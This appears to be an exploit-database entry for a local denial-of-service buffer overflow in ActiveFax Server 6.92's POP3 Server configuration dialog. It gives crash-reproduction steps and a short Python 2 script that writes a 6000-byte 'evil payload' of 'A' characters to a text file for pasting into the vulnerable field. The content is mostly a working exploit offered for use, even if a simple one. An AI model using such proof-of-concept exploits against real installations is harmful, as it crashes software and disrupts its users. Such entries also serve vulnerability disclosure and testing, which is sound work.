发布 2019-10-14 漏洞条目

ActiveFax Server 6.92 Build 0316 – ‘POP3 Server’ Denial of Service

Exploit Source

# Exploit Title: ActiveFax Server 6.92 Build 0316 - 'POP3 Server' Denial of Service

# Date: 2019-10-12

# Vendor Homepage: https://www.actfax.com/

# Software Link : https://www.actfax.com/download/actfax_setup_x64_ge.exe

# Exploit Author: Achilles

# Tested Version: 6.92

# Tested on: Windows 7 x64

# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:

# 1.- Run python code : ActiveFax_Server.py

# 2.- Open EVIL.txt and copy content to clipboard

# 3.- Open ActiveFaxServer.exe

# 4.- Open the Pop3 Server Config

# 5.- Press New

# 6.- Paste the content of EVIL.txt into the field: 'POP3 Server Address and Login and Password'

# 7.- Press ok Twice

# 8.- And you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 6000

try:

f=open("Evil.txt","w")

print "[+] Creating %s bytes evil payload.." %len(buffer)

f.write(buffer)

f.close()

print "[+] File created!"

except:

print "File cannot be created"

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